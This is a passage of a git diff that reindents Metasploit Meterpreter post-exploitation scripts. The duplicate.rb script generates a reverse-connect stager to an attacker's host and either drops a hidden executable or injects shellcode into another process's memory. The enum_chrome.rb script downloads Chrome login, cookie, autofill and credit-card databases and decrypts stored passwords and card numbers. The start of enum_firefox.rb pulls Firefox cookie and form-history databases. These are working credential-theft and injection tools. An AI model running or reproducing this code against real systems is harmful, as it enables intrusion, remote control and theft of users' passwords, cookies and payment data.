2 => "Removable", - 3 => "Fixed", - 4 => "Remote", - 5 => "CD-ROM", - 6 => "RAM Drive"} - return vol_type[type] + vol_type = { 0 => "Unknown", + 1 => "No root directory", + 2 => "Removable", + 3 => "Fixed", + 4 => "Remote", + 5 => "CD-ROM", + 6 => "RAM Drive"} + return vol_type[type] end def get_showwnd(hdr) - showwnd = { 0 => "SW_HIDE", - 1 => "SW_NORMAL", - 2 => "SW_SHOWMINIMIZED", - 3 => "SW_SHOWMAXIMIZED", - 4 => "SW_SHOWNOACTIVE", - 5 => "SW_SHOW", - 6 => "SW_MINIMIZE", - 7 => "SW_SHOWMINNOACTIVE", - 8 => "SW_SHOWNA", - 9 => "SW_RESTORE", - 10 => "SHOWDEFAULT"} - data_out = "\tShowWnd value(s):\n" - showwnd.each do |key, value| - if (hdr["showwnd"] & key) > 0 - data_out += "\t\t#{showwnd[key]}.\n" - end - end - return data_out + showwnd = { 0 => "SW_HIDE", + 1 => "SW_NORMAL", + 2 => "SW_SHOWMINIMIZED", + 3 => "SW_SHOWMAXIMIZED", + 4 => "SW_SHOWNOACTIVE", + 5 => "SW_SHOW", + 6 => "SW_MINIMIZE", + 7 => "SW_SHOWMINNOACTIVE", + 8 => "SW_SHOWNA", + 9 => "SW_RESTORE", + 10 => "SHOWDEFAULT"} + data_out = "\tShowWnd value(s):\n" + showwnd.each do |key, value| + if (hdr["showwnd"] & key) > 0 + data_out += "\t\t#{showwnd[key]}.\n" + end + end + return data_out end def get_lnk_MAC(hdr) - data_out = "\tTarget file's MAC Times stored in lnk file:\n" - data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n" - data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n" - data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n" - return data_out + data_out = "\tTarget file's MAC Times stored in lnk file:\n" + data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n" + data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n" + data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n" + return data_out end def get_attrs(hdr) - fileattr = {0x01 => "Target is read only", - 0x02 => "Target is hidden", - 0x04 => "Target is a system file", - 0x08 => "Target is a volume label", - 0x10 => "Target is a directory", - 0x20 => "Target was modified since last backup", - 0x40 => "Target is encrypted", - 0x80 => "Target is normal", - 0x100 => "Target is temporary", - 0x200 => "Target is a sparse file", - 0x400 => "Target has a reparse point", - 0x800 => "Target is compressed", - 0x1000 => "Target is offline"} - data_out = "\tAttributes:\n" - fileattr.each do |key, attr| - if (hdr["attr"] & key) > 0 - data_out += "\t\t#{fileattr[key]}.\n" - end - end - return data_out + fileattr = {0x01 => "Target is read only", + 0x02 => "Target is hidden", + 0x04 => "Target is a system file", + 0x08 => "Target is a volume label", + 0x10 => "Target is a directory", + 0x20 => "Target was modified since last backup", + 0x40 => "Target is encrypted", + 0x80 => "Target is normal", + 0x100 => "Target is temporary", + 0x200 => "Target is a sparse file", + 0x400 => "Target has a reparse point", + 0x800 => "Target is compressed", + 0x1000 => "Target is offline"} + data_out = "\tAttributes:\n" + fileattr.each do |key, attr| + if (hdr["attr"] & key) > 0 + data_out += "\t\t#{fileattr[key]}.\n" + end + end + return data_out end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - if data2wrt - data2wrt.each_line do |d| - output.puts(d) - end - end - output.close + output = ::File.open(file2wrt, "a") + if data2wrt + data2wrt.each_line do |d| + output.puts(d) + end + end + output.close end def get_flags(hdr) - flags = {0x01 => "Shell Item ID List exists", - 0x02 => "Shortcut points to a file or directory", - 0x04 => "The shortcut has a descriptive string", - 0x08 => "The shortcut has a relative path string", - 0x10 => "The shortcut has working directory", - 0x20 => "The shortcut has command line arguments", - 0x40 => "The shortcut has a custom icon"} - data_out = "\tFlags:\n" - flags.each do |key, flag| - if (hdr["flags"] & key) > 0 - data_out += "\t\t#{flags[key]}.\n" - end - end - return data_out + flags = {0x01 => "Shell Item ID List exists", + 0x02 => "Shortcut points to a file or directory", + 0x04 => "The shortcut has a descriptive string", + 0x08 => "The shortcut has a relative path string", + 0x10 => "The shortcut has working directory", + 0x20 => "The shortcut has command line arguments", + 0x40 => "The shortcut has a custom icon"} + data_out = "\tFlags:\n" + flags.each do |key, flag| + if (hdr["flags"] & key) > 0 + data_out += "\t\t#{flags[key]}.\n" + end + end + return data_out end def get_headers(record) - hd = record.unpack('x16V12x8') - hdr = Hash.new() - hdr["flags"] = hd[0] - hdr["attr"] = hd[1] - hdr["ctime"] = get_time(hd[2], hd[3]) - hdr["mtime"] = get_time(hd[4], hd[5]) - hdr["atime"] = get_time(hd[6], hd[7]) - hdr["length"] = hd[8] - hdr["icon_num"] = hd[9] - hdr["showwnd"] = hd[10] - hdr["hotkey"] = hd[11] - return hdr + hd = record.unpack('x16V12x8') + hdr = Hash.new() + hdr["flags"] = hd[0] + hdr["attr"] = hd[1] + hdr["ctime"] = get_time(hd[2], hd[3]) + hdr["mtime"] = get_time(hd[4], hd[5]) + hdr["atime"] = get_time(hd[6], hd[7]) + hdr["length"] = hd[8] + hdr["icon_num"] = hd[9] + hdr["showwnd"] = hd[10] + hdr["hotkey"] = hd[11] + return hdr end def get_net_vol_tbl(file_net_rec) - nv = Hash.new() - (nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8") - return nv + nv = Hash.new() + (nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8") + return nv end def get_local_vol_tbl(lvt_rec) - lv = Hash.new() - (lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4') - return lv + lv = Hash.new() + (lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4') + return lv end def get_file_location(file_loc_rec) - location = Hash.new() - (location["len"], location["ptr"], location["flags"], - location["vol_ofs"], location["base_ofs"], location["network_ofs"], - location["path_ofs"]) = file_loc_rec.unpack('V7') - return location + location = Hash.new() + (location["len"], location["ptr"], location["flags"], + location["vol_ofs"], location["base_ofs"], location["network_ofs"], + location["path_ofs"]) = file_loc_rec.unpack('V7') + return location end def get_time(lo_byte, hi_byte) - if (lo_byte == 0 && hi_byte == 0) - return 0 - else - lo_byte -= 0xd53e8000 - hi_byte -= 0x019db1de - time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i - if time < 0 - return 0 - end - end - return time + if (lo_byte == 0 && hi_byte == 0) + return 0 + else + lo_byte -= 0xd53e8000 + hi_byte -= 0x019db1de + time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i + if time < 0 + return 0 + end + end + return time end if client.platform =~ /win32|win64/ - enum_users(os).each do |user| - if user['userpath'] - print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." - extract_lnk_info(user['userpath']) - else - print_status "No Recent directory found for user #{user['username']}. Nothing to do." - end - if user['useroffcpath'] - print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..." - extract_lnk_info(user['useroffcpath']) - else - print_status "No Recent Office files found for user #{user['username']}. Nothing to do." - end - end + enum_users(os).each do |user| + if user['userpath'] + print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." + extract_lnk_info(user['userpath']) + else + print_status "No Recent directory found for user #{user['username']}. Nothing to do." + end + if user['useroffcpath'] + print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..." + extract_lnk_info(user['useroffcpath']) + else + print_status "No Recent Office files found for user #{user['username']}. Nothing to do." + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index e45c7fbc1e16..9b072f511a79 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -9,14 +9,14 @@ # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"], - "-w" => [ false, "Write and execute an exe instead of injecting into a process"], - "-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."], - "-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."], - "-s" => [ false, "Spawn new executable to inject to. Only useful with -P."], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"], + "-w" => [ false, "Write and execute an exe instead of injecting into a process"], + "-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."], + "-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."], + "-s" => [ false, "Spawn new executable to inject to. Only useful with -P."], + "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"] ) # @@ -38,25 +38,25 @@ # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-P" - target_pid = val.to_i - when "-e" - target = val - when "-D" - autoconn = false - when "-w" - inject = false - when "-s" - spawn = true - end + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-P" + target_pid = val.to_i + when "-e" + target = val + when "-D" + autoconn = false + when "-w" + inject = false + when "-s" + spawn = true + end end print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}") @@ -73,74 +73,74 @@ mul.datastore['ExitOnSession'] = true print_status("Running payload handler") mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true ) if client.platform =~ /win32|win64/ - server = client.sys.process.open - - print_status("Current server process: #{server.name} (#{server.pid})") - - if ! inject - exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) - print_status("Meterpreter stager executable #{exe.length} bytes long") - - # - # Upload to the filesystem - # - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tempexe.gsub!("\\\\", "\\") - - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - print_status("Uploaded the agent to #{tempexe} (must be deleted manually)") - - # - # Execute the agent - # - print_status("Executing the agent with endpoint #{rhost}:#{rport}...") - pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) - elsif ! spawn - # Get the target process name - print_status("Duplicating into #{target}...") - - # Get the target process pid - if not target_pid - target_pid = client.sys.process[target] - end - - if not target_pid - print_error("Could not access the target process") - print_status("Spawning a notepad.exe host process...") - note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) - target_pid = note.pid - end - else - print_status("Spawning a #{target} host process...") - newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) - target_pid = newproc.pid - if not target_pid - print_error("Could not create a process around #{target}") - raise Rex::Script::Completed - end - end - - # Do the duplication - print_status("Injecting meterpreter into process ID #{target_pid}") - host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS) - raw = pay.generate - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_status("New server process: #{target_pid}") + server = client.sys.process.open + + print_status("Current server process: #{server.name} (#{server.pid})") + + if ! inject + exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) + print_status("Meterpreter stager executable #{exe.length} bytes long") + + # + # Upload to the filesystem + # + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tempexe.gsub!("\\\\", "\\") + + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + print_status("Uploaded the agent to #{tempexe} (must be deleted manually)") + + # + # Execute the agent + # + print_status("Executing the agent with endpoint #{rhost}:#{rport}...") + pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) + elsif ! spawn + # Get the target process name + print_status("Duplicating into #{target}...") + + # Get the target process pid + if not target_pid + target_pid = client.sys.process[target] + end + + if not target_pid + print_error("Could not access the target process") + print_status("Spawning a notepad.exe host process...") + note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) + target_pid = note.pid + end + else + print_status("Spawning a #{target} host process...") + newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) + target_pid = newproc.pid + if not target_pid + print_error("Could not create a process around #{target}") + raise Rex::Script::Completed + end + end + + # Do the duplication + print_status("Injecting meterpreter into process ID #{target_pid}") + host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS) + raw = pay.generate + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_status("New server process: #{target_pid}") else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index 1c3fbfd35f3a..bbbb91ca72cb 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -8,187 +8,187 @@ require 'yaml' if client.platform !~ /win32/ - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @host_info = client.sys.config.sysinfo @chrome_files = [ - { :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"}, - { :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"}, - { :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"}, - { :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]}, - { :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"}, - { :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"}, - { :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"}, - { :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"}, - { :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]}, - { :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"}, - { :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"}, + { :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"}, + { :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"}, + { :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"}, + { :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]}, + { :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"}, + { :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"}, + { :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"}, + { :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"}, + { :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]}, + { :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"}, + { :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"}, ] @migrate = false @old_pid = nil @output_format = [] opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-m" => [ false, "Migrate into explorer.exe"], - "-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"] + "-h" => [ false, "Help menu" ], + "-m" => [ false, "Migrate into explorer.exe"], + "-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"] ) opts.parse(args) { |opt, idx, val| - case opt - when "-m" - @migrate = true - when "-f" - if val =~ /^j(son)?$/ - @output_format << "json" - elsif val =~ /^y(aml)?$/ - @output_format << "yaml" - elsif val =~ /^t(ext)?$/ - @output_format << "text" - else - print_error("unknown format '#{val}'.") - raise Rex::Script::Completed - end - when "-h" - print_line("") - print_line("DESCRIPTION: Script for enumerating preferences and extracting") - print_line("information from the Google Chrome Browser on a target system.") - print_line("Decryption of creditcard information and passwords only supported") - print_line("on 32bit Windows Operating Systems.") - print_line("") - print_line("USAGE: run enum_chrome [-m]") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-m" + @migrate = true + when "-f" + if val =~ /^j(son)?$/ + @output_format << "json" + elsif val =~ /^y(aml)?$/ + @output_format << "yaml" + elsif val =~ /^t(ext)?$/ + @output_format << "text" + else + print_error("unknown format '#{val}'.") + raise Rex::Script::Completed + end + when "-h" + print_line("") + print_line("DESCRIPTION: Script for enumerating preferences and extracting") + print_line("information from the Google Chrome Browser on a target system.") + print_line("Decryption of creditcard information and passwords only supported") + print_line("on 32bit Windows Operating Systems.") + print_line("") + print_line("USAGE: run enum_chrome [-m]") + print_line(opts.usage) + raise Rex::Script::Completed + end } @output_format << "json" if @output_format.empty? if @output_format.include?("json") - begin - require 'json' - rescue LoadError - print_error("JSON is not available.") - @output_format.delete("json") - if @output_format.empty? - print_status("Falling back to raw text output.") - @output_format << "text" - end - end + begin + require 'json' + rescue LoadError + print_error("JSON is not available.") + @output_format.delete("json") + if @output_format.empty? + print_status("Falling back to raw text output.") + @output_format << "text" + end + end end print_status("using output format(s): " + @output_format.join(", ")) def prepare_railgun - rg = client.railgun - if (!rg.get_dll('crypt32')) - rg.add_dll('crypt32') - end - - if (!rg.crypt32.functions["CryptUnprotectData"]) - rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ - ["PBLOB","pDataIn", "in"], - ["PWCHAR", "szDataDescr", "out"], - ["PBLOB", "pOptionalEntropy", "in"], - ["PDWORD", "pvReserved", "in"], - ["PBLOB", "pPromptStruct", "in"], - ["DWORD", "dwFlags", "in"], - ["PBLOB", "pDataOut", "out"] - ]) - end + rg = client.railgun + if (!rg.get_dll('crypt32')) + rg.add_dll('crypt32') + end + + if (!rg.crypt32.functions["CryptUnprotectData"]) + rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ + ["PBLOB","pDataIn", "in"], + ["PWCHAR", "szDataDescr", "out"], + ["PBLOB", "pOptionalEntropy", "in"], + ["PDWORD", "pvReserved", "in"], + ["PBLOB", "pPromptStruct", "in"], + ["DWORD", "dwFlags", "in"], + ["PBLOB", "pDataOut", "out"] + ]) + end end def decrypt_data(data) - rg = client.railgun - pid = client.sys.process.open.pid - process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - - mem = process.memory.allocate(1024) - process.memory.write(mem, data) - - addr = [mem].pack("V") - len = [data.length].pack("V") - ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - len, addr = ret["pDataOut"].unpack("V2") - return "" if len == 0 - decrypted = process.memory.read(addr, len) + rg = client.railgun + pid = client.sys.process.open.pid + process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + + mem = process.memory.allocate(1024) + process.memory.write(mem, data) + + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + return "" if len == 0 + decrypted = process.memory.read(addr, len) end def write_output(file, rows) - if @output_format.include?("json") - ::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) } - end - if @output_format.include?("yaml") - ::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) } - end - if @output_format.include?("text") - ::File.open(file + ".txt", "w") do |f| - f.write(rows.first.keys.join("\t") + "\n") - f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n")) - end - end + if @output_format.include?("json") + ::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) } + end + if @output_format.include?("yaml") + ::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) } + end + if @output_format.include?("text") + ::File.open(file + ".txt", "w") do |f| + f.write(rows.first.keys.join("\t") + "\n") + f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n")) + end + end end def process_files(username) - @chrome_files.each do |item| - in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file]) - out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file]) - if item[:sql] - db = SQLite3::Database.new(in_file) - columns, *rows = db.execute2(item[:sql]) - db.close - rows.map! do |row| - res = Hash[*columns.zip(row).flatten] - if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM" - if @host_info['Architecture'] !~ /x64/ - item[:encrypted_fields].each do |field| - print_good("decrypting field '#{field}'...") - res[field + "_decrypted"] = decrypt_data(res[field]) - end - else - print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS") - end - end - res - end - if rows.length > 0 - print_status("writing output '#{item[:out_file]}'...") - write_output(out_file, rows) - else - print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'") - end - else - ::FileUtils.cp(in_file, out_file) - end - end + @chrome_files.each do |item| + in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file]) + out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file]) + if item[:sql] + db = SQLite3::Database.new(in_file) + columns, *rows = db.execute2(item[:sql]) + db.close + rows.map! do |row| + res = Hash[*columns.zip(row).flatten] + if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM" + if @host_info['Architecture'] !~ /x64/ + item[:encrypted_fields].each do |field| + print_good("decrypting field '#{field}'...") + res[field + "_decrypted"] = decrypt_data(res[field]) + end + else + print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS") + end + end + res + end + if rows.length > 0 + print_status("writing output '#{item[:out_file]}'...") + write_output(out_file, rows) + else + print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'") + end + else + ::FileUtils.cp(in_file, out_file) + end + end end def extract_data(username) - chrome_path = @profiles_path + "\\" + username + @data_path - begin - client.fs.file.stat(chrome_path) - rescue - print_status("no files found for user '#{username}'") - return false - end - - @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| - remote_path = chrome_path + '\\' + f - local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f) - print_status("downloading file #{f} to '#{local_path}'...") - client.fs.file.download_file(local_path, remote_path) - end - return true + chrome_path = @profiles_path + "\\" + username + @data_path + begin + client.fs.file.stat(chrome_path) + rescue + print_status("no files found for user '#{username}'") + return false + end + + @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| + remote_path = chrome_path + '\\' + f + local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f) + print_status("downloading file #{f} to '#{local_path}'...") + client.fs.file.download_file(local_path, remote_path) + end + return true end if @migrate - current_pid = client.sys.process.open.pid - target_pid = client.sys.process["explorer.exe"] - if target_pid != current_pid - @old_pid = current_pid - print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") - client.core.migrate(target_pid) - print_status("done.") - end + current_pid = client.sys.process.open.pid + target_pid = client.sys.process["explorer.exe"] + if target_pid != current_pid + @old_pid = current_pid + print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") + client.core.migrate(target_pid) + print_status("done.") + end end host = session.session_host @@ -198,11 +198,11 @@ def extract_data(username) sysdrive = client.fs.file.expand_path("%SYSTEMDRIVE%") os = @host_info['OS'] if os =~ /(Windows 7|2008|Vista)/ - @profiles_path = sysdrive + "\\Users\\" - @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" + @profiles_path = sysdrive + "\\Users\\" + @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" elsif os =~ /(2000|NET|XP)/ - @profiles_path = sysdrive + "\\Documents and Settings\\" - @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" + @profiles_path = sysdrive + "\\Documents and Settings\\" + @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" end usernames = [] @@ -210,28 +210,28 @@ def extract_data(username) uid = client.sys.config.getuid if is_system? - print_status "running as SYSTEM, extracting user list..." - print_status "(decryption of passwords and credit card numbers will not be possible)" - client.fs.dir.foreach(@profiles_path) do |u| - usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - end - print_status "users found: #{usernames.join(", ")}" + print_status "running as SYSTEM, extracting user list..." + print_status "(decryption of passwords and credit card numbers will not be possible)" + client.fs.dir.foreach(@profiles_path) do |u| + usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + end + print_status "users found: #{usernames.join(", ")}" else - print_status "running as user '#{uid}'..." - usernames << client.fs.file.expand_path("%USERNAME%") - prepare_railgun + print_status "running as user '#{uid}'..." + usernames << client.fs.file.expand_path("%USERNAME%") + prepare_railgun end usernames.each do |u| - print_status("extracting data for user '#{u}'...") - success = extract_data(u) - process_files(u) if success + print_status("extracting data for user '#{u}'...") + success = extract_data(u) + process_files(u) if success end if @migrate && @old_pid - print_status("migrating back into PID=#{@old_pid}...") - client.core.migrate(@old_pid) - print_status("done.") + print_status("migrating back into PID=#{@old_pid}...") + client.core.migrate(@old_pid) + print_status("done.") end raise Rex::Script::Completed diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index b76630db7ed2..704fa179c15b 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -15,270 +15,270 @@ # logfile name logfile = @logs + "/" + host + filenameinfo + ".txt" notusrs = [ - "Default", - "Default User", - "Public", - "LocalService", - "NetworkService", - "All Users" + "Default", + "Default User", + "Public", + "LocalService", + "NetworkService", + "All Users" ] #------------------------------------------------------------------------------- #Function for getting Firefox SQLite DB's def frfxplacesget(path,usrnm) - # Create the log - ::FileUtils.mkdir_p(@logs) - @client.fs.dir.foreach(path) {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x - if @client.fs.file.stat(fullpath).directory? - frfxplacesget(fullpath,usrnm) - elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i - dst = x - dst = @logs + ::File::Separator + usrnm + dst - print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") - @client.fs.file.download_file(dst, fullpath) - end - } + # Create the log + ::FileUtils.mkdir_p(@logs) + @client.fs.dir.foreach(path) {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x + if @client.fs.file.stat(fullpath).directory? + frfxplacesget(fullpath,usrnm) + elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i + dst = x + dst = @logs + ::File::Separator + usrnm + dst + print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") + @client.fs.file.download_file(dst, fullpath) + end + } end #------------------------------------------------------------------------------- #Function for processing the Firefox sqlite DB's def frfxdmp(usrnm) - sitesvisited = [] - dnldsmade = [] - bkmrks = [] - cookies = [] - formvals = '' - searches = '' - results = '' - placesdb = @logs + ::File::Separator + usrnm + "places.sqlite" - formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite" - searchdb = @logs + ::File::Separator + usrnm + "search.sqlite" - cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite" - bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt" - download_list = @logs + ::File::Separator + usrnm + "_download_list.txt" - url_history = @logs + ::File::Separator + usrnm + "_history.txt" - form_history = @logs + ::File::Separator + usrnm + "_form_history.txt" - search_history = @logs + ::File::Separator + usrnm + "_search_history.txt" - begin - print_status("\tGetting Firefox Bookmarks for #{usrnm}") - db = SQLite3::Database.new(placesdb) - #print_status("\tProcessing #{placesdb}") + sitesvisited = [] + dnldsmade = [] + bkmrks = [] + cookies = [] + formvals = '' + searches = '' + results = '' + placesdb = @logs + ::File::Separator + usrnm + "places.sqlite" + formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite" + searchdb = @logs + ::File::Separator + usrnm + "search.sqlite" + cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite" + bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt" + download_list = @logs + ::File::Separator + usrnm + "_download_list.txt" + url_history = @logs + ::File::Separator + usrnm + "_history.txt" + form_history = @logs + ::File::Separator + usrnm + "_form_history.txt" + search_history = @logs + ::File::Separator + usrnm + "_search_history.txt" + begin + print_status("\tGetting Firefox Bookmarks for #{usrnm}") + db = SQLite3::Database.new(placesdb) + #print_status("\tProcessing #{placesdb}") - db.execute('select a.url from moz_places a, moz_bookmarks b, '+ - 'moz_bookmarks_roots c where a.id=b.fk and parent=2'+ - ' and folder_id=2 and a.hidden=0') do |row| - bkmrks << row - end - print_status("\tSaving to #{bookmarks}") - if bkmrks.length != 0 - bkmrks.each do |b| - file_local_write(bookmarks,"\t#{b.to_s}\n") - end - else - print_status("\tIt appears that there are no bookmarks for this account") - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting list 